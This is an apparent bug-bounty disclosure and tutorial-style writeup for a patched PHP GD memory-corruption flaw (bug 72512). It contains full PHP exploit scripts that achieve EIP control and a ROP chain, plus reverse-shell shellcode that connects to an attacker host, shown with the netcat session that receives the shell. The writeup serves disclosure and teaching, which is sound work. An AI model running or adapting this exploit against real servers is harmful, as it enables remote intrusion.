gdImageTrueColorToPaletteBody allows arbitrary write/read access
The gdImageTrueColorToPaletteBody function in PHP's GD extension does not check for negative transparent colours, allowing an attacker to write null bytes to arbitrary memory and leak memory. This can lead to remote code execution.
- Fixed in 6 days
- Paid in 6 days
- Disclosed after 3.3 years
Upstream bug report
2016-06-29 04:03 UTC https://bugs.php.net/bug.php?id=72512
Patch
2016-07-19 07:47 UTC http://git.php.net/?p=php-src.git;a=commit;h=928aecc002e906b309b28f0062f03d4e5eda3e45 Fixed for PHP 5.5 (security only mode), PHP 5.6, PHP 7.0 http://php.net/ChangeLog-5.php#5.5.38 http://php.net/ChangeLog-5.php#5.6.24 http://php.net/ChangeLog-7.php#7.0.9
Description
gdImageTrueColorToPaletteBody doesn't check for negative transparent colors while converting the image. This leads to arbitrary null write and information leak.
Details
https://github.com/php/php-src/blob/master/ext/gd/libgd/gd_topal.c#L2000
...
if (oim->transparent >= 0)
{
nim->transparent = nim->colorsTotal;
nim->colorsTotal++;
}
...
nim->transparent will only be updated with a valid index if oim->transparent is bigger than 0, however it can be set to be a negative color using gdImageColorTransparent
https://github.com/php/php-src/blob/master/ext/gd/libgd/gd.c#L598
void gdImageColorTransparent (gdImagePtr im, int color)
{
if (!im->trueColor) {
if (im->transparent != -1) {
im->alpha[im->transparent] = gdAlphaOpaque;
}
if (color > 1 && color < im>colorsTotal && color < gdMaxColors) {
im->alpha[color] = gdAlphaTransparent;
} else {
return;
}
}
im->transparent = color;
}
As you can see here, there's no check for color on truecolor images.
Arbitrary Null Write
Setting im->transparent to a negative value, and then converting it to palette will allow to write an arbitrary null using gdImageColorTransparent again (above function):
im->alpha[im->transparent] = gdAlphaOpaque;
Leak arbitrary memory using imagescale:
https://github.com/php/php-src/blob/master/ext/gd/libgd/gd_interpolation.c#L1247
static gdImagePtr gdImageScaleBilinearPalette(gdImagePtr im, const unsigned int new_width, const unsigned int new_height)
{
...
new_img->transparent = gdTrueColorAlpha(im->red[transparent], im->green[transparent], im->blue[transparent], im->alpha[transparent]); # transparent out of bounds
...
}
new_img->transparent value is calculated adding the values using transparent as an index.
EIP control
We are able to control EIP register by abusing these two issues:
<?php
ini_set('memory_limit', -1);
/*
objdump -d /home/user/php/php-70/sapi/cli/php|grep -A 2 strlen@plt
08065ce0 <strlen@plt>:
8065ce0: ff 25 c0 72 b4 08 jmp *0x8b472c0
8065ce6: 68 68 05 00 00 push $0x568
*/
$plt_strlen = 0x8b472c0;
$img = imagecreatetruecolor($plt_strlen + 0x10, 1); // Image with enough width to reach plt_strlen address
imagecolortransparent($img, -24060); // Constant offset to reach first element from array img->pixels
imagetruecolortopalette($img, TRUE, 3);
imagecolortransparent($img, 0xff); // Set to null first element from img->pixels
// Allocate palette colors
for ($i = 0; $i < 256; $i++) imagecolorallocatealpha($img, $i, $i, $i, $i);
// Overwrite strlen plt address with 0x44434241
imagesetpixel($img, $plt_strlen, 0, 0x41);
imagesetpixel($img, $plt_strlen+1, 0, 0x42);
imagesetpixel($img, $plt_strlen+2, 0, 0x43);
imagesetpixel($img, $plt_strlen+3, 0, 0x44);
GDB output:
gdb -q --args /home/user/php/php-70/sapi/cli/php poc3.php
No symbol table is loaded. Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/user/php/php-70/sapi/cli/php...done.
gdb-peda$ r
Starting program: /home/user/php/php-70/sapi/cli/php poc3.php
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x8b91660 ("text/html")
EBX: 0x8b47000 --> 0x8b46db8 --> 0x1
ECX: 0xee50aaae
EDX: 0xffffbe98 --> 0x8b47000 --> 0x8b46db8 --> 0x1
ESI: 0x8b47000 --> 0x8b46db8 --> 0x1
EDI: 0x8b7a518 --> 0x0
EBP: 0xffffba38 --> 0xffffbb98 --> 0xffffbba8 --> 0xffffbbb8 --> 0xffffbbd8 --> 0xffffc2e8 (--> ...)
ESP: 0xffffb9fc --> 0x83e6d0e (<get_default_content_type+70>: add esp,0x10)
EIP: 0x44434241 ('ABCD')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x44434241
[------------------------------------stack-------------------------------------]
0000| 0xffffb9fc --> 0x83e6d0e (<get_default_content_type+70>: add esp,0x10)
0004| 0xffffba00 --> 0x8b91660 ("text/html")
0008| 0xffffba04 --> 0x0
0012| 0xffffba08 --> 0x8a62758 ("/home/user/php/php-70/Zend/zend_hash.c")
0016| 0xffffba0c --> 0x83e6cd4 (<get_default_content_type+12>: add ebx,0x76032c)
0020| 0xffffba10 --> 0x0
0024| 0xffffba14 --> 0x8474df1 (<zend_hash_iterators_remove+8>: add eax,0x6d220f)
0028| 0xffffba18 --> 0x8b91660 ("text/html")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x44434241 in ?? ()
gdb-peda$
Code execution
<?php
// Tested on Debian x86 Jessie update + NGINX + PHP-FPM
/*
objdump -d /usr/sbin/php5-fpm |grep -A 2 write|more
08096b50 <write@plt>:
8096b50: ff 25 a4 93 96 08 jmp *0x89693a4
8096b56: 68 30 07 00 00 push $0x730
*/
$plt_write = 0x89693a4;
function get_maps() {
$fh = fopen("/proc/self/maps", "r");
$maps = fread($fh, 31337);
fclose($fh);
return explode("\n", $maps);
}
// Fill heap with nulled basic gdImage structures
$imgs = array();
for ($i = 0; $i < 10; $i++) $imgs[$i] = imagecreatetruecolor(10, 10);
// Image with enough width to reach plt_write address
$evilimg = imagecreatetruecolor($plt_write + 10, 1);
// Set brush at last gdImage to leak evilimg address
imagesetbrush ($imgs[9], $evilimg);
// -516 : offset to reach **evilimg->pixels pointer
imagecolortransparent($evilimg, -516);
imagetruecolortopalette($evilimg, TRUE, 3);
// Data leak from **evilimg->pixels address trough imagescale bug
$imgtmp = imagescale($evilimg, 10, 10);
$x1 = imagecolortransparent($imgtmp);
echo "[+] pointer to colors @ 0x".dechex($x1)."\n";
// Restore truecolor evilimg
imagepalettetotruecolor($evilimg);
// -1443 offset to reach brush pointer from img[9] element
imagecolortransparent($evilimg, -1443);
// Data leak from img[9]->brush pointer = evilimg address
imagetruecolortopalette($evilimg, TRUE, 3);
$imgtmp2 = imagescale($evilimg, 10, 10);
$x2 = imagecolortransparent($imgtmp2);
echo "[+] pointer to image @ 0x".dechex($x2)."\n";
// Relative offset to reach first element from **evilimg->pixels (row 1 from image)
$off = -1 * ((($x2 - $x1) / 4) + 1550);
echo "[+] offset @ " . $off ."\n";
// Restore truecolor evilimg
imagepalettetotruecolor($evilimg);
// Set to null first element from evilimg->pixels
imagecolortransparent($evilimg, $off);
imagetruecolortopalette($evilimg, TRUE, 256);
imagecolortransparent($evilimg, 0xff);
// Bypass ASLR
$libc_base = 0;
foreach (get_maps() as $record)
if (strstr($record, "libc-") && strstr($record, "r-xp")) {
$libc_base = hexdec(explode('-', $record)[0]);
break;
}
if ($libc_base == 0)
die("[-] can't find libc base, you need an information leak :[");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";
/*
objdump -T /lib/i386-linux-gnu/libc.so.6|grep mprotect
000d4230 w DF .text 00000037 GLIBC_2.0 mprotect
*/
$mprotect_offset = 0xd4230;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";
/* gadgets
pgp5-fpm
0x086ea6d1 : pop ebx ; pop ebx ; aas ; pop ebx ; ret
0x080c5b76 : mov eax, ecx ; ret
0x086d1cf0 : xchg eax, esi ; ret
0x080efd28 : call esi
libc.so
0x00102ec1 : push ecx ; add al, 0x8b ; pop ebp ; cld ; leave ; ret
*/
$pivot_offset = 0x00102ec1;
$pivot = $libc_base + $pivot_offset;
$pop3 = 0x086ea6d1;
// Overwrite write@plt entry to pivot address
for ($i = 0; $i < 256; $i++) imagecolorallocatealpha($evilimg, $i, $i, $i, $i);
$pivot_str = pack('I', $pivot);
for ($i = 0; $i < strlen($pivot_str); $i++) {
imagesetpixel($evilimg, $plt_write + $i, 0, ord($pivot_str[$i]));
}
// Allocate shellcode
$pre = get_maps();
$buffer = str_repeat("\x41", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
if (count($tmp) != 1)
die('[-] you need infoleak :[');
$tmp = explode('-',array_values($tmp)[0])[0];
$align = 0xff;
$addr = hexdec($tmp) + 0x18; /* align to string */
echo "[+] buffer string @ 0x".dechex($addr)."\n";
// msfvenom -p linux/x86/shell_reverse_tcp -f python LHOST=10.0.3.1 LPORT=31337
$shellcode = "";
$shellcode .= "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66";
$shellcode .= "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a";
$shellcode .= "\x00\x03\x01\x68\x02\x00\x7a\x69\x89\xe1\xb0\x66\x50";
$shellcode .= "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73";
$shellcode .= "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0";
$shellcode .= "\x0b\xcd\x80";
for ($i = 0; $i < strlen($shellcode); $i++) $buffer[$i] = $shellcode[$i];
echo "[+] building ropchain\n";
// int mprotect(void *addr, size_t len, int prot);
$rop_chain =
"AAAA" .
pack('I', $mprotect_addr) /* mprotect */ .
pack('I', $pop3) /* pop pop pop ret */ .
pack('I', $addr - 0x18) /* mprotect addr */ .
pack('I', 0x1000) /* mprotect len */ .
pack('I', 0x7) /* mprotect prot */ .
pack('I', $addr) /* jump to shellcode */ ;
$temp = tmpfile();
// Call to ropchain
fwrite($temp, $rop_chain);
fclose ($temp);
Attacker session
Call to PHP exploit:
$ lynx http://10.0.3.246/gd4.php
...
$ nc -vlp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [10.0.3.246] port 31337 [tcp/*] accepted (family 2, sport 44816)
id -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Context
This is a memory corruption bug in PHP's bundled GD extension, specifically in the code that converts a truecolour image into a palette image. The function at the centre of it is gdImageTrueColorToPaletteBody, which lives in ext/gd/libgd/gd_topal.c. Its job is to take a truecolour image (one where each pixel carries its own 32-bit colour) and reduce it to a palette image with a limited number of colours, remapping every pixel to an index into that palette.
The researcher reported it upstream to the PHP bug tracker on 2016-06-29 as bug 72512, and later submitted it to the Internet Bug Bounty programme against the PHP asset. The weakness is classed as generic memory corruption. The report shows that a negative transparent colour survives the conversion unchecked, which gives both an arbitrary null write and an information leak, and that combining the two leads to control of the instruction pointer and, on a specific build, to code execution.
Setup
The report does not describe any accounts or roles. The work is done against local PHP builds. Two environments appear in the proof of concept code:
- A PHP 7.0 CLI build at
/home/user/php/php-70/sapi/cli/php, used for the EIP control demonstration. - A Debian x86 Jessie system running NGINX with PHP-FPM, used for the code execution demonstration. The binary inspected is
/usr/sbin/php5-fpm.
The tools used are objdump to find PLT entries and libc symbols, gdb (with peda) to observe the crash, and msfvenom to generate the reverse shell payload. The msfvenom comment uses [redacted] as LHOST, and the exploit is requested from [redacted].
Finding it
The researcher looked at the conversion code and noticed that the transparent colour is only carried over when it is non-negative:
...
if (oim->transparent >= 0)
{
nim->transparent = nim->colorsTotal;
nim->colorsTotal++;
}
...
So nim->transparent is only updated with a valid palette index when oim->transparent is at least zero. But nothing prevents oim->transparent from being negative, because gdImageColorTransparent sets it without validating the colour on truecolour images:
void gdImageColorTransparent (gdImagePtr im, int color)
{
if (!im->trueColor) {
if (im->transparent != -1) {
im->alpha[im->transparent] = gdAlphaOpaque;
}
if (color > 1 && color < im>colorsTotal && color < gdMaxColors) {
im->alpha[color] = gdAlphaTransparent;
} else {
return;
}
}
im->transparent = color;
}
The bounds checks in that function only run for palette images. For a truecolour image the value is assigned straight to im->transparent, so a negative number is stored as-is. That is the precondition the rest of the exploit relies on.
Exploitation
Step 1: arbitrary null write
Set im->transparent to a negative value, then convert the image to palette. The conversion leaves the negative value in place. Calling gdImageColorTransparent again on the resulting palette image reaches this line:
im->alpha[im->transparent] = gdAlphaOpaque;
Because im->transparent is negative, the write lands before the alpha array, at an attacker-chosen offset. The value written is gdAlphaOpaque, which is null. That is an arbitrary null write relative to the array.
Step 2: leak memory with imagescale
The second primitive is in the bilinear palette scaling routine in ext/gd/libgd/gd_interpolation.c:
static gdImagePtr gdImageScaleBilinearPalette(gdImagePtr im, const unsigned int new_width, const unsigned int new_height)
{
...
new_img->transparent = gdTrueColorAlpha(im->red[transparent], im->green[transparent], im->blue[transparent], im->alpha[transparent]); # transparent out of bounds
...
}
Here transparent is used as an index into the red, green, blue and alpha arrays without a bounds check. With a negative transparent value, the four bytes read from those arrays are combined into new_img->transparent, and that value can be read back from PHP with imagecolortransparent. Each call therefore leaks four bytes from an address determined by the offset.
Step 3: control EIP
The researcher combined the two primitives. The first proof of concept targets the CLI build and aims at the strlen PLT entry, found with:
objdump -d /home/user/php/php-70/sapi/cli/php|grep -A 2 strlen@plt
08065ce0 <strlen@plt>:
8065ce0: ff 25 c0 72 b4 08 jmp *0x8b472c0
8065ce6: 68 68 05 00 00 push $0x568
The exploit script:
<?php
ini_set('memory_limit', -1);
/*
objdump -d /home/user/php/php-70/sapi/cli/php|grep -A 2 strlen@plt
08065ce0 <strlen@plt>:
8065ce0: ff 25 c0 72 b4 08 jmp *0x8b472c0
8065ce6: 68 68 05 00 00 push $0x568
*/
$plt_strlen = 0x8b472c0;
$img = imagecreatetruecolor($plt_strlen + 0x10, 1); // Image with enough width to reach plt_strlen address
imagecolortransparent($img, -24060); // Constant offset to reach first element from array img->pixels
imagetruecolortopalette($img, TRUE, 3);
imagecolortransparent($img, 0xff); // Set to null first element from img->pixels
// Allocate palette colors
for ($i = 0; $i < 256; $i++) imagecolorallocatealpha($img, $i, $i, $i, $i);
// Overwrite strlen plt address with 0x44434241
imagesetpixel($img, $plt_strlen, 0, 0x41);
imagesetpixel($img, $plt_strlen+1, 0, 0x42);
imagesetpixel($img, $plt_strlen+2, 0, 0x43);
imagesetpixel($img, $plt_strlen+3, 0, 0x44);
The image is created wide enough that its pixel array reaches the strlen PLT entry. The comment describes -24060 as a constant offset to reach the first element from the array img->pixels. After the conversion, imagecolortransparent($img, 0xff) uses the null write to zero the first element of img->pixels. The 256 palette colours are then allocated, and four imagesetpixel calls overwrite the strlen PLT address with the bytes 0x41, 0x42, 0x43, 0x44.
The crash under gdb confirms the instruction pointer is taken over:
gdb -q --args /home/user/php/php-70/sapi/cli/php poc3.php
No symbol table is loaded. Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/user/php/php-70/sapi/cli/php...done.
gdb-peda$ r
Starting program: /home/user/php/php-70/sapi/cli/php poc3.php
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x8b91660 ("text/html")
EBX: 0x8b47000 --> 0x8b46db8 --> 0x1
ECX: 0xee50aaae
EDX: 0xffffbe98 --> 0x8b47000 --> 0x8b46db8 --> 0x1
ESI: 0x8b47000 --> 0x8b46db8 --> 0x1
EDI: 0x8b7a518 --> 0x0
EBP: 0xffffba38 --> 0xffffbb98 --> 0xffffbba8 --> 0xffffbbb8 --> 0xffffbbd8 --> 0xffffc2e8 (--> ...)
ESP: 0xffffb9fc --> 0x83e6d0e (<get_default_content_type+70>: add esp,0x10)
EIP: 0x44434241 ('ABCD')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x44434241
[------------------------------------stack-------------------------------------]
0000| 0xffffb9fc --> 0x83e6d0e (<get_default_content_type+70>: add esp,0x10)
0004| 0xffffba00 --> 0x8b91660 ("text/html")
0008| 0xffffba04 --> 0x0
0012| 0xffffba08 --> 0x8a62758 ("/home/user/php/php-70/Zend/zend_hash.c")
0016| 0xffffba0c --> 0x83e6cd4 (<get_default_content_type+12>: add ebx,0x76032c)
0020| 0xffffba10 --> 0x0
0024| 0xffffba14 --> 0x8474df1 (<zend_hash_iterators_remove+8>: add eax,0x6d220f)
0028| 0xffffba18 --> 0x8b91660 ("text/html")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x44434241 in ?? ()
gdb-peda$
EIP: 0x44434241 ('ABCD') shows the instruction pointer taking the written value.
Step 4: code execution
The second proof of concept targets the PHP-FPM build and aims at the write PLT entry:
objdump -d /usr/sbin/php5-fpm |grep -A 2 write|more
08096b50 <write@plt>:
8096b50: ff 25 a4 93 96 08 jmp *0x89693a4
8096b56: 68 30 07 00 00 push $0x730
The full script:
<?php
// Tested on Debian x86 Jessie update + NGINX + PHP-FPM
/*
objdump -d /usr/sbin/php5-fpm |grep -A 2 write|more
08096b50 <write@plt>:
8096b50: ff 25 a4 93 96 08 jmp *0x89693a4
8096b56: 68 30 07 00 00 push $0x730
*/
$plt_write = 0x89693a4;
function get_maps() {
$fh = fopen("/proc/self/maps", "r");
$maps = fread($fh, 31337);
fclose($fh);
return explode("\n", $maps);
}
// Fill heap with nulled basic gdImage structures
$imgs = array();
for ($i = 0; $i < 10; $i++) $imgs[$i] = imagecreatetruecolor(10, 10);
// Image with enough width to reach plt_write address
$evilimg = imagecreatetruecolor($plt_write + 10, 1);
// Set brush at last gdImage to leak evilimg address
imagesetbrush ($imgs[9], $evilimg);
// -516 : offset to reach **evilimg->pixels pointer
imagecolortransparent($evilimg, -516);
imagetruecolortopalette($evilimg, TRUE, 3);
// Data leak from **evilimg->pixels address trough imagescale bug
$imgtmp = imagescale($evilimg, 10, 10);
$x1 = imagecolortransparent($imgtmp);
echo "[+] pointer to colors @ 0x".dechex($x1)."\n";
// Restore truecolor evilimg
imagepalettetotruecolor($evilimg);
// -1443 offset to reach brush pointer from img[9] element
imagecolortransparent($evilimg, -1443);
// Data leak from img[9]->brush pointer = evilimg address
imagetruecolortopalette($evilimg, TRUE, 3);
$imgtmp2 = imagescale($evilimg, 10, 10);
$x2 = imagecolortransparent($imgtmp2);
echo "[+] pointer to image @ 0x".dechex($x2)."\n";
// Relative offset to reach first element from **evilimg->pixels (row 1 from image)
$off = -1 * ((($x2 - $x1) / 4) + 1550);
echo "[+] offset @ " . $off ."\n";
// Restore truecolor evilimg
imagepalettetotruecolor($evilimg);
// Set to null first element from evilimg->pixels
imagecolortransparent($evilimg, $off);
imagetruecolortopalette($evilimg, TRUE, 256);
imagecolortransparent($evilimg, 0xff);
// Bypass ASLR
$libc_base = 0;
foreach (get_maps() as $record)
if (strstr($record, "libc-") && strstr($record, "r-xp")) {
$libc_base = hexdec(explode('-', $record)[0]);
break;
}
if ($libc_base == 0)
die("[-] can't find libc base, you need an information leak :[");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";
/*
objdump -T /lib/i386-linux-gnu/libc.so.6|grep mprotect
000d4230 w DF .text 00000037 GLIBC_2.0 mprotect
*/
$mprotect_offset = 0xd4230;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";
/* gadgets
pgp5-fpm
0x086ea6d1 : pop ebx ; pop ebx ; aas ; pop ebx ; ret
0x080c5b76 : mov eax, ecx ; ret
0x086d1cf0 : xchg eax, esi ; ret
0x080efd28 : call esi
libc.so
0x00102ec1 : push ecx ; add al, 0x8b ; pop ebp ; cld ; leave ; ret
*/
$pivot_offset = 0x00102ec1;
$pivot = $libc_base + $pivot_offset;
$pop3 = 0x086ea6d1;
// Overwrite write@plt entry to pivot address
for ($i = 0; $i < 256; $i++) imagecolorallocatealpha($evilimg, $i, $i, $i, $i);
$pivot_str = pack('I', $pivot);
for ($i = 0; $i < strlen($pivot_str); $i++) {
imagesetpixel($evilimg, $plt_write + $i, 0, ord($pivot_str[$i]));
}
// Allocate shellcode
$pre = get_maps();
$buffer = str_repeat("\x41", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
if (count($tmp) != 1)
die('[-] you need infoleak :[');
$tmp = explode('-',array_values($tmp)[0])[0];
$align = 0xff;
$addr = hexdec($tmp) + 0x18; /* align to string */
echo "[+] buffer string @ 0x".dechex($addr)."\n";
// msfvenom -p linux/x86/shell_reverse_tcp -f python LHOST=[redacted] LPORT=31337
$shellcode = "";
$shellcode .= "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66";
$shellcode .= "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a";
$shellcode .= "\x00\x03\x01\x68\x02\x00\x7a\x69\x89\xe1\xb0\x66\x50";
$shellcode .= "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73";
$shellcode .= "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0";
$shellcode .= "\x0b\xcd\x80";
for ($i = 0; $i < strlen($shellcode); $i++) $buffer[$i] = $shellcode[$i];
echo "[+] building ropchain\n";
// int mprotect(void *addr, size_t len, int prot);
$rop_chain =
"AAAA" .
pack('I', $mprotect_addr) /* mprotect */ .
pack('I', $pop3) /* pop pop pop ret */ .
pack('I', $addr - 0x18) /* mprotect addr */ .
pack('I', 0x1000) /* mprotect len */ .
pack('I', 0x7) /* mprotect prot */ .
pack('I', $addr) /* jump to shellcode */ ;
$temp = tmpfile();
// Call to ropchain
fwrite($temp, $rop_chain);
fclose ($temp);
The script works in stages:
- Ten small truecolour images are allocated to fill the heap with nulled
gdImagestructures. A large$evilimgis created wide enough to reach thewritePLT entry. imagesetbrush($imgs[9], $evilimg)stores a pointer to$evilimginside the last small image, giving a known place to leak it from.- With offset
-516, theimagescaleleak reads the**evilimg->pixelspointer into$x1. - The image is restored with
imagepalettetotruecolor, then offset-1443leaks the brush pointer from$imgs[9], which is the address of$evilimg, into$x2. - The relative offset
$offbetween the two leaked pointers is computed and used with the null write to zero the first element ofevilimg->pixels. - The libc base is read from
/proc/self/maps, looking for thelibc-mapping withr-xppermissions. Themprotectoffset0xd4230is added to it. - The
writePLT entry is overwritten with the address of a libc pivot gadget (push ecx ; add al, 0x8b ; pop ebp ; cld ; leave ; ret), byte by byte withimagesetpixel. - A large buffer of
0x41bytes is allocated, its address found by diffing/proc/self/mapsbefore and after, and the reverse shell shellcode is copied into its start. - A ROP chain is built:
mprotectcalled with the buffer address, length0x1000and protection0x7, then a jump to the shellcode. The chain is written to a temporary file, which triggers the overwrittenwritePLT entry.
The attacker session shows the result:
Call to PHP exploit:
$ lynx http://[redacted]/gd4.php
...
$ nc -vlp 31337
Listening on [[redacted]] (family 0, port 31337)
Connection from [[redacted]] port 31337 [tcp/*] accepted (family 2, sport 44816)
id -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The reverse shell connects back and id -a runs as www-data.
Root cause
gdImageColorTransparent validates the colour only for palette images. On a truecolour image it assigns any integer, including a negative one, to im->transparent. gdImageTrueColorToPaletteBody then checks oim->transparent >= 0 before copying it into the palette image, so the negative value is never corrected. Downstream code treats transparent as an array index without a lower bound: the null write in gdImageColorTransparent and the four array reads in gdImageScaleBilinearPalette. The missing validation at the point of assignment is the root cause; the two consumers simply fail to defend themselves.
Impact
An attacker who can call these GD functions from PHP gets an arbitrary null write and an arbitrary memory read, both relative to the image's arrays. The report demonstrates that this is enough to overwrite a PLT entry, leak pointers to defeat ASLR, and build a ROP chain that calls mprotect and runs shellcode. On the tested Debian x86 Jessie build with NGINX and PHP-FPM this produced a reverse shell as www-data. The code execution proof of concept depends on the specific build and offsets; the null write and information leak are the general primitives.
Fix
The bug was fixed upstream on 2016-07-19 in commit [redacted]. The fix was shipped for PHP 5.5 (security only mode), PHP 5.6 and PHP 7.0, appearing in the changelogs for 5.5.38, 5.6.24 and 7.0.9.
Variants to test
- Call
imagecolortransparentwith a negative value on a truecolour image, convert withimagetruecolortopalette, then callimagecolortransparentagain and check whether memory before thealphaarray is zeroed. - After the same conversion, call
imagescaleand readimagecolortransparenton the result. A positive result that changes with the offset indicates the out-of-bounds read. - Try other GD functions that index the palette arrays with
transparent, and check whether they also lack a lower bound. - On other PHP builds, repeat the PLT overwrite with the offsets for that binary and confirm with a debugger that the instruction pointer takes the written value.
Hunting notes
This kind of bug hides in image processing libraries where a value is validated on one code path (palette images) but not another (truecolour images), and where that value is later used as an index. When reviewing GD or similar libraries, look for assignments to fields like transparent that skip validation, and for array accesses using those fields without a lower bound check. The report shows impact by moving from a crash to a controlled instruction pointer, then to a full ROP chain and a reverse shell.
What happened, in plain words
PHP is a programming language used to build websites. It ships with an add-on called GD that lets a website create and edit images on the fly: resizing a photo a user uploaded, making thumbnails, drawing charts, and so on. GD is written in C, a lower-level language that talks almost directly to the computer's memory.
This report is about a mistake in GD's image code. When PHP converts one kind of image (a "truecolour" image, where every pixel stores its own full colour) into another kind (a "palette" image, where each pixel stores a small number that points into a list of colours), it fails to check one value: the image's "transparent colour". If an attacker sets that value to a negative number, the conversion carries the bad number along. Later code then uses that negative number as a position in a list, which means it reads and writes memory outside the list. That gives the attacker two powers: writing a zero byte wherever they choose, and reading four bytes of memory from wherever they choose. The researcher then showed that combining those two powers lets them take over the program's flow and, on one particular setup, run their own commands on the server.
The bug was reported to the PHP bug tracker on 2016-06-29 as bug 72512, and later submitted to the Internet Bug Bounty programme against the PHP asset. It is classed as generic memory corruption. The fix landed on 2016-07-19.
The pieces you need to know first
Before the details make sense, here are the ideas the report leans on, explained from zero.
- Memory: think of the computer's memory as a very long street of numbered houses. Each house holds one small piece of data. Programs remember where things are by house number, called an address.
- Array: a row of houses next to each other, all holding the same kind of thing. If you ask for house number 5 in the row, you get the fifth item. If you ask for house number -3, a well-written program refuses. A badly written one happily walks three houses to the left, into somebody else's data. That is called an out-of-bounds access.
- Pointer: a piece of data whose value is itself an address, like a note that says "the thing you want is at house 1234".
- Truecolour vs palette image: a truecolour image stores a full colour for every pixel. A palette image stores a small list of colours (the palette) and each pixel is just a number saying which entry in the list to use. Converting from one to the other is a normal, everyday operation.
- Transparent colour: the colour treated as see-through. In GD you set it with a function called
imagecolortransparent. - PLT entry: when a C program calls a function that lives in a shared library (a file of reusable code loaded at runtime), it does not jump straight there. It jumps to a small stub in its own code, called a PLT entry, which then jumps to the real function. If an attacker can overwrite a PLT entry, the next time the program calls that function it jumps wherever the attacker says. Think of it as a signpost that can be repainted to point somewhere else.
- EIP: on 32-bit Intel processors, EIP is the register (a small slot inside the processor) that holds the address of the next instruction to run. If an attacker controls EIP, they control what the program does next.
- ASLR: Address Space Layout Randomisation. The operating system loads libraries at a different address each time a program starts, so an attacker cannot hard-code addresses. To defeat it, the attacker first needs to leak an address, that is, read one out of memory.
- Information leak: any bug that lets an attacker read memory they should not see. Even a few bytes can reveal addresses and defeat ASLR.
- Null write: writing a zero byte to a chosen place. On its own it sounds harmless, but zeroing the right byte can change a pointer or a length in a useful way.
- ROP chain: Return-Oriented Programming. When you can control the flow of a program but cannot simply inject new code (because memory is marked non-executable), you chain together small existing snippets of code, called gadgets, each ending in a
retinstruction, so that one gadget flows into the next. It is like making a sentence out of words that already exist in a book. - Shellcode: a small piece of machine code whose job is usually to open a connection back to the attacker and give them a command shell.
- Reverse shell: instead of the attacker connecting to the victim, the victim's machine connects out to the attacker. This often slips past firewalls.
mprotect: a system call that changes the permissions on a region of memory, for example making it executable so shellcode can run.objdump,gdb,msfvenom: tools.objdumpinspects compiled programs and shows their addresses.gdbis a debugger that lets you pause a program and look at its registers and memory.msfvenomgenerates payloads such as shellcode.
Setup
The report does not describe any accounts or roles. All the work is done against local PHP builds. Two environments appear in the proof of concept code:
- A PHP 7.0 command-line build at
/home/user/php/php-70/sapi/cli/php, used to show control of EIP. - A Debian x86 Jessie system running NGINX (a web server) with PHP-FPM (the part that runs PHP for the web server), used to show code execution. The binary inspected there is
/usr/sbin/php5-fpm.
The msfvenom comment uses [redacted] as LHOST, and the exploit is requested from [redacted].
Finding it
The researcher read the conversion code and noticed that the transparent colour is only copied across when it is not negative:
...
if (oim->transparent >= 0)
{
nim->transparent = nim->colorsTotal;
nim->colorsTotal++;
}
...
Line by line: if (oim->transparent >= 0) asks "is the old image's transparent value zero or more?". If yes, the next two lines give the new palette image a valid transparent index and bump the colour count. If the value is negative, the whole block is skipped, so the bad value is never corrected. The conversion simply leaves it in place.
But nothing stops the value from being negative in the first place, because the function that sets it, gdImageColorTransparent, does not validate the colour on truecolour images:
void gdImageColorTransparent (gdImagePtr im, int color)
{
if (!im->trueColor) {
if (im->transparent != -1) {
im->alpha[im->transparent] = gdAlphaOpaque;
}
if (color > 1 && color < im>colorsTotal && color < gdMaxColors) {
im->alpha[color] = gdAlphaTransparent;
} else {
return;
}
}
im->transparent = color;
}
Line by line: if (!im->trueColor) means "only do the following checks if this is not a truecolour image", that is, only for palette images. Inside that block, if there was already a transparent colour set, it is reset to opaque. Then the new colour is checked to be within the palette's bounds; if it is not, the function returns early. The last line, im->transparent = color;, runs for truecolour images too, and it stores whatever number was passed, with no check at all. So a negative number is stored as-is. That is the precondition the rest of the exploit relies on.
Exploitation
Step 1: arbitrary null write
Set im->transparent to a negative value, then convert the image to palette. The conversion leaves the negative value in place. Calling gdImageColorTransparent again on the resulting palette image reaches this line:
im->alpha[im->transparent] = gdAlphaOpaque;
Because im->transparent is negative, the write lands before the alpha array, at an offset the attacker chooses. The value written is gdAlphaOpaque, which is null. That is an arbitrary null write relative to the array. In street terms: the program is told to put a zero in house number -24060, and it does, without asking whether that house exists.
Step 2: leak memory with imagescale
The second primitive is in the bilinear palette scaling routine, which is what runs when you resize a palette image:
static gdImagePtr gdImageScaleBilinearPalette(gdImagePtr im, const unsigned int new_width, const unsigned int new_height)
{
...
